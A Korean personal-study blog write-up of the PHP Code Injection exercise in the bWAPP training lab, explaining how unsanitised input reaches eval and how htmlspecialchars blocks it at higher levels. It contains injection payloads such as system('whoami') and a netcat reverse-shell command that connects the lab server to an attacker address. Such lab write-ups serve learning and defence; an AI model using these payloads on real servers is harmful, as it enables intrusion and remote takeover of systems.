[+] 개인적인 공부이니 틀린부분 지적 ㄳ
-PHP Code Injection
PHP Code Injection은 PHP의 eval 함수의 취약점을 이용한 공격이다. eval 함수는 문자를 PHP함수로 인식하여 출력하는 취약점을 가지고 있다. 때문에 공격자가 eval함수를 사용하는 것을 알게되면, 악성 쿼리문을 인젝션 할 수 있다.
Low 레벨
1. 기본 페이지
- 기본적인 페이지는 정말 단순하게 생겼다.
- 이것은 단순한 페이지이고, 너의 메시지를 반사시켜준다고 한다.
2. message 클릭 시
- 하이퍼링크가 걸려있는 message 를 클릭하면, 바로 밑에 test라는 글자가 출력된다.
- 추가적으로 URI 에 파라미터가 보이는것을 보면 GET 방식인 것을 알 수 있다.
- 파라미터의 message변수에 revi1337를 입력하면, 변수값 revi1337이 출력되는 것을 확인할 수 있다.
- PHP Injection이 eval 함수의 취약점을 이용하는 것을 생각해보면 eval("echo \"변수값\";") 형식으로 실행 될 것이라는걸 예상해볼 수 있다.
- 아래 사진은 phpi.php파일에서 eval함수의 동작을 알 수 있는 코드이다.
- 위에서 언급했던 것처럼 아래 사진은 요청한 message변수의 변수값을 받아와서 결합시켜 주는 형태를 갖고 있다.
3. PHP Code Injection
- URI의 message변수에 revi1337; system("whoami") 를 입력한 사진이다. ( revi1337; system("whoami"); 넣어도 무방 )
- system함수는 시스템 명령어를 사용할 수 있게 하는 함수이다. (shell_exec와 비슷하지만 약간 다름)
- 결과를 보면 revi1337와 whoami의 명령어의 결과값이 같이 나온 것을 볼 수 있다.
- 아까도 언급한 eval 함수의 동작 방식 코드이다. 보면, 요청한 message변수값을 넣기만 하고있다.
즉, 바로 위에서 message변수에 revi1337; system("whoami")를 넣었으니
PHP 함수 eval("echo \"revi1337\"; system("whoami");"); 가 실행되는 것이다.
4. PHP Code Injection 이용한 Reverse Shell
- 이렇게 system 함수를 이용해서 시스템 명령어를 사용할 수 있다는 것을 확인했다. system명령어를 사용할 수 있으면, Reverse Connection. 즉, Reverse Shell을 할 수가 있다.
- 해킹시 접속을 시도하는 방향에 따라 Bind Shell과 Reverse Shell으로 나뉜다
Bind Shell 은 서버측에서 Listening을 하고, 클라이언트측에서 접속하는 방법이라면,
Reverse Shell은 클라이언트측(공격자)에서 Listening 을 하고 서버측에서 클라이언트측(공격자)로 접속하는 방법이다.
- Reverse Shell을 하기 위해서는 클라이언트(공격자)측에서 포트를 열고 Listening해야 한다.
- l 옵션은 Listening 하겠다는 의미이고, -p 옵션은 4444포트를 열겠다는 의미이다.
- 클라이언트(공격자)측 listening 하고 있으니, 이제 서버(bWAPP)에서 연결 해주는 일만 남았다.
- 다시 PHP Command Injection으로 와서 message변수에 system("whoami") 대신 system('nc 192.168.75.128 4444 -e /bin/bash') 을 넣어준다.
-192.168.75.128 4444은 공격자 IP주소와 포트정보이고 -e /bin/bash는 execute /bin/bash. bash 셸을 실행시켜주겠다 는 의미이다.
- 페이지가 로딩이 되지않고 응답이 없다면 Reverse Connection이 성공한 것이다.
- 다시 클라이언트(공격자)측으로 넘어와서 명령어들을 치면 Reverse Connection이 성공했음을 알 수 있다.
- 또한 파이썬을 이용하면, 프롬프트를 이용할 수 있다.
- 계정이름@호스트이름: 홈디렉터리가 나오게 할 수 있다.
- 이어서 html구문을 작성하여 reverse_ex.html파일로 저장한다.
- 다른 호스트에서 bWAPP의 reverse_ex.html를 들어가면, 사전에 작성해놨던 스크립트를 확인할 수 있다.
5. Low레벨 대응방안 보기
- 계속 설명했듯 따로 대응하는것이 없음
High 레벨
1. PHP Code Injection
- Low레벨과 똑같이 URI에 system('whoami')를넣어줬는데, 시스템함수가 실행되지 않고,그대로 출력되는것을 볼수 있음.
2. High레벨 대응방안 보기
- Medium과 High 레벨은 똑같이 htmlspecialchars를 통해 싱클쿼트' 와 더블쿼트"를 인코딩 해서 함수가 실행되지 않도록 대응하고 있다.
-인코딩되어 있는 사진
'WebHacking > bWAPP' 카테고리의 다른 글
[bWAPP] SQL Injection (GET/Search) (0) | 2021.10.15 |
---|---|
[bWAPP] Server-Side Includes (SSI) Injection (0) | 2021.10.15 |
[bWAPP] OS Command Injection (0) | 2021.10.15 |
[bWAPP] iFrame Injection (0) | 2021.10.15 |
[bWAPP] HTML Injection - Stored (Blog) (0) | 2021.10.15 |